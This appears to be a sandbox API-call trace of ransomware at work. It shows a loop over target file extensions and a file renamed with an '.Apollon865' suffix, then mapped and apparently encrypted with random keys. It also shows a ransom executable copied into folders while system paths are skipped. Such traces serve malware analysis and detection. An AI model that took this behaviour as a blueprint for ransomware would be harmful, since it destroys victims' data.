	[0063.918] lstrlenW (lpString="itw") returned 3
	[0063.918] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1
	[0063.918] lstrlenW (lpString="jet") returned 3
	[0063.918] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1
	[0063.918] lstrlenW (lpString="jtx") returned 3
	[0063.918] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1
	[0063.918] lstrlenW (lpString="kdb") returned 3
	[0063.918] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1
	[0063.918] lstrlenW (lpString="kexi") returned 4
	[0063.918] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1
	[0063.918] lstrlenW (lpString="kexic") returned 5
	[0063.918] lstrcmpiW (lpString1="4.exe", lpString2="kexic") returned -1
	[0063.918] lstrlenW (lpString="kexis") returned 5
	[0063.918] lstrcmpiW (lpString1="4.exe", lpString2="kexis") returned -1
	[0063.918] lstrlenW (lpString="lgc") returned 3
	[0063.918] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1
	[0063.919] lstrlenW (lpString="lwx") returned 3
	[0063.919] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1
	[0063.919] lstrlenW (lpString="maf") returned 3
	[0063.919] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1
	[0063.919] lstrlenW (lpString="maq") returned 3
	[0063.919] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1
	[0063.919] lstrlenW (lpString="mar") returned 3
	[0063.919] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1
	[0063.919] lstrlenW (lpString="marshal") returned 7
	[0063.919] lstrcmpiW (lpString1="x64.exe", lpString2="marshal") returned 1
	[0063.919] lstrlenW (lpString="mas") returned 3
	[0063.919] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1
	[0063.919] lstrlenW (lpString="mav") returned 3
	[0063.919] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1
	[0063.919] lstrlenW (lpString="maw") returned 3
	[0063.919] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1
	[0063.919] lstrlenW (lpString="mdbhtml") returned 7
	[0063.919] lstrcmpiW (lpString1="x64.exe", lpString2="mdbhtml") returned 1
	[0063.919] lstrlenW (lpString="mdn") returned 3
	[0063.919] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1
	[0063.919] lstrlenW (lpString="mdt") returned 3
	[0063.919] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1
	[0063.919] lstrlenW (lpString="mfd") returned 3
	[0063.919] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1
	[0063.919] lstrlenW (lpString="mpd") returned 3
	[0063.919] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1
	[0063.919] lstrlenW (lpString="mrg") returned 3
	[0063.919] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1
	[0063.919] lstrlenW (lpString="mud") returned 3
	[0063.919] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1
	[0063.919] lstrlenW (lpString="mwb") returned 3
	[0063.919] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1
	[0063.919] lstrlenW (lpString="myd") returned 3
	[0063.919] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1
	[0063.920] lstrlenW (lpString="ndf") returned 3
	[0063.920] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1
	[0063.920] lstrlenW (lpString="nnt") returned 3
	[0063.920] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1
	[0063.920] lstrlenW (lpString="nrmlib") returned 6
	[0063.920] lstrcmpiW (lpString1="64.exe", lpString2="nrmlib") returned -1
	[0063.920] lstrlenW (lpString="ns2") returned 3
	[0063.920] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1
	[0063.920] lstrlenW (lpString="ns3") returned 3
	[0063.920] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1
	[0063.920] lstrlenW (lpString="ns4") returned 3
	[0063.920] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1
	[0063.920] lstrlenW (lpString="nsf") returned 3
	[0063.920] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1
	[0063.920] lstrlenW (lpString="nv") returned 2
	[0063.920] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1
	[0063.920] lstrlenW (lpString="nv2") returned 3
	[0063.920] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1
	[0063.920] lstrlenW (lpString="nwdb") returned 4
	[0063.920] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1
	[0063.920] lstrlenW (lpString="nyf") returned 3
	[0063.920] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1
	[0063.920] lstrlenW (lpString="odb") returned 3
	[0063.920] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1
	[0063.920] lstrlenW (lpString="odb") returned 3
	[0063.920] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1
	[0063.920] lstrlenW (lpString="oqy") returned 3
	[0063.920] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1
	[0063.920] lstrlenW (lpString="ora") returned 3
	[0063.920] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1
	[0063.920] lstrlenW (lpString="orx") returned 3
	[0063.920] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1
	[0063.920] lstrlenW (lpString="owc") returned 3
	[0063.920] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1
	[0063.920] lstrlenW (lpString="p96") returned 3
	[0063.921] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1
	[0063.921] lstrlenW (lpString="p97") returned 3
	[0063.921] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1
	[0063.921] lstrlenW (lpString="pan") returned 3
	[0063.921] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1
	[0063.921] lstrlenW (lpString="pdb") returned 3
	[0063.921] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1
	[0063.921] lstrlenW (lpString="pdm") returned 3
	[0063.921] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1
	[0063.921] lstrlenW (lpString="pnz") returned 3
	[0063.921] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1
	[0063.921] lstrlenW (lpString="qry") returned 3
	[0063.921] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1
	[0063.921] lstrlenW (lpString="qvd") returned 3
	[0063.921] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1
	[0063.921] lstrlenW (lpString="rbf") returned 3
	[0063.921] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1
	[0063.921] lstrlenW (lpString="rctd") returned 4
	[0063.921] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1
	[0063.921] lstrlenW (lpString="rod") returned 3
	[0063.921] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1
	[0063.921] lstrlenW (lpString="rodx") returned 4
	[0063.921] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1
	[0063.921] lstrlenW (lpString="rpd") returned 3
	[0063.921] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1
	[0063.921] lstrlenW (lpString="rsd") returned 3
	[0063.921] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1
	[0063.921] lstrlenW (lpString="sas7bdat") returned 8
	[0063.921] lstrcmpiW (lpString1=".x64.exe", lpString2="sas7bdat") returned -1
	[0063.921] lstrlenW (lpString="sbf") returned 3
	[0063.921] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1
	[0063.921] lstrlenW (lpString="scx") returned 3
	[0063.921] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1
	[0063.922] lstrlenW (lpString="sdb") returned 3
	[0063.922] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1
	[0063.922] lstrlenW (lpString="sdc") returned 3
	[0063.922] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1
	[0063.922] lstrlenW (lpString="sdf") returned 3
	[0063.922] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1
	[0063.922] lstrlenW (lpString="sis") returned 3
	[0063.922] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1
	[0063.922] lstrlenW (lpString="spq") returned 3
	[0063.922] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1
	[0063.922] lstrlenW (lpString="te") returned 2
	[0063.922] lstrcmpiW (lpString1="xe", lpString2="te") returned 1
	[0063.922] lstrlenW (lpString="teacher") returned 7
	[0063.922] lstrcmpiW (lpString1="x64.exe", lpString2="teacher") returned 1
	[0063.922] lstrlenW (lpString="tmd") returned 3
	[0063.922] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1
	[0063.922] lstrlenW (lpString="tps") returned 3
	[0063.922] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1
	[0063.922] lstrlenW (lpString="trc") returned 3
	[0063.922] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1
	[0063.922] lstrlenW (lpString="trc") returned 3
	[0063.922] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1
	[0063.922] lstrlenW (lpString="trm") returned 3
	[0063.922] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1
	[0063.922] lstrlenW (lpString="udb") returned 3
	[0063.922] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1
	[0063.922] lstrlenW (lpString="udl") returned 3
	[0063.922] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1
	[0063.922] lstrlenW (lpString="usr") returned 3
	[0063.922] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1
	[0063.922] lstrlenW (lpString="v12") returned 3
	[0063.922] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1
	[0063.922] lstrlenW (lpString="vis") returned 3
	[0063.922] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1
	[0063.923] lstrlenW (lpString="vpd") returned 3
	[0063.923] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1
	[0063.923] lstrlenW (lpString="vvv") returned 3
	[0063.923] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1
	[0063.923] lstrlenW (lpString="wdb") returned 3
	[0063.923] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1
	[0063.923] lstrlenW (lpString="wmdb") returned 4
	[0063.923] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1
	[0063.923] lstrlenW (lpString="wrk") returned 3
	[0063.923] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1
	[0063.923] lstrlenW (lpString="xdb") returned 3
	[0063.923] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1
	[0063.923] lstrlenW (lpString="xld") returned 3
	[0063.923] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1
	[0063.923] lstrlenW (lpString="xmlff") returned 5
	[0063.923] lstrcmpiW (lpString1="4.exe", lpString2="xmlff") returned -1
	[0063.923] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe.Apollon865") returned 100
	[0063.923] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\vc_redist.x64.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\vc_redist.x64.exe.apollon865"), dwFlags=0x1) returned 1
	[0063.924] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\vc_redist.x64.exe.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x154
	[0063.924] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=781880) returned 1
	[0063.924] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0063.925] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0063.925] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0063.925] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0063.925] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0063.925] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0063.926] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbf140, lpName=0x0) returned 0x150
	[0063.927] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbf140) returned 0x2b40000
	[0063.960] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0063.961] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0063.961] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0063.961] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0063.961] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0063.962] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0063.962] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0063.962] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0063.962] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0063.962] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0063.962] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0063.962] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0063.962] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0063.962] UnmapViewOfFile (lpBaseAddress=0x2b40000) returned 1
	[0063.970] CloseHandle (hObject=0x150) returned 1
	[0063.970] CloseHandle (hObject=0x154) returned 1
	[0063.970] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0063.970] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0063.970] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0063.974] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa912d270, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0x968d5df0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0xbee38, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VC_redist.x64.exe", cAlternateFileName="VC_RED~1.EXE")) returned 0
	[0063.974] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0063.974] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fd70
	[0063.974] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017"
	[0063.974] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a170 | out: hHeap=0x580000) returned 1
	[0063.974] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd68 | out: hHeap=0x580000) returned 1
	[0063.974] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned 83
	[0063.974] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017"
	[0063.974] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0063.974] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0063.975] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0063.975] GetLastError () returned 0x0
	[0063.975] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0063.975] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0063.975] CloseHandle (hObject=0x15c) returned 1
	[0063.975] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0063.975] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0063.975] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa93425b0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f4237d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f4237d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0063.975] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.975] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0063.975] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0063.975] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa93425b0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f4237d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f4237d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.975] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.975] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0063.975] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0063.975] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0063.975] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f4237d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f4237d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0063.975] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0063.975] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f4237d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f4237d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
	[0063.976] lstrcmpiW (lpString1="packages", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0063.976] lstrcmpiW (lpString1="packages", lpString2="Apollon865.txt.exe") returned 1
	[0063.976] lstrcmpiW (lpString1="packages", lpString2=".") returned 1
	[0063.976] lstrcmpiW (lpString1="packages", lpString2="..") returned 1
	[0063.976] lstrcmpiW (lpString1="packages", lpString2="windows") returned -1
	[0063.976] lstrcmpiW (lpString1="packages", lpString2="bootmgr") returned 1
	[0063.976] lstrcmpiW (lpString1="packages", lpString2="temp") returned -1
	[0063.976] lstrcmpiW (lpString1="packages", lpString2="pagefile.sys") returned -1
	[0063.976] lstrcmpiW (lpString1="packages", lpString2="boot") returned 1
	[0063.976] lstrcmpiW (lpString1="packages", lpString2="ids.txt") returned 1
	[0063.976] lstrcmpiW (lpString1="packages", lpString2="ntuser.dat") returned 1
	[0063.976] lstrcmpiW (lpString1="packages", lpString2="perflogs") returned -1
	[0063.976] lstrcmpiW (lpString1="packages", lpString2="MSBuild") returned 1
	[0063.976] lstrlenW (lpString="packages") returned 8
	[0063.976] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*") returned 85
	[0063.976] lstrcpyW (in: lpString1=0x119e6b0, lpString2="packages" | out: lpString1="packages") returned="packages"
	[0063.977] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd68
	[0063.977] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xba) returned 0x5aa638
	[0063.977] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fd70 | out: ListHead=0x5b75f0, ListEntry=0x59fd70) returned 0x59fc70
	[0063.977] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f4237d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f4237d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0063.977] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0063.978] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fd70
	[0063.978] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages"
	[0063.978] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aa638 | out: hHeap=0x580000) returned 1
	[0063.978] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd68 | out: hHeap=0x580000) returned 1
	[0063.978] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages") returned 92
	[0063.978] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages"
	[0063.978] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0063.978] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0063.978] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0063.978] GetLastError () returned 0x0
	[0063.978] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0063.978] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0063.979] CloseHandle (hObject=0x15c) returned 1
	[0063.979] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0063.979] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0063.979] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f4237d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f4237d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0063.979] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.979] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0063.979] lstrcmpiW (lpString1=".", lpString2=".") returned 0
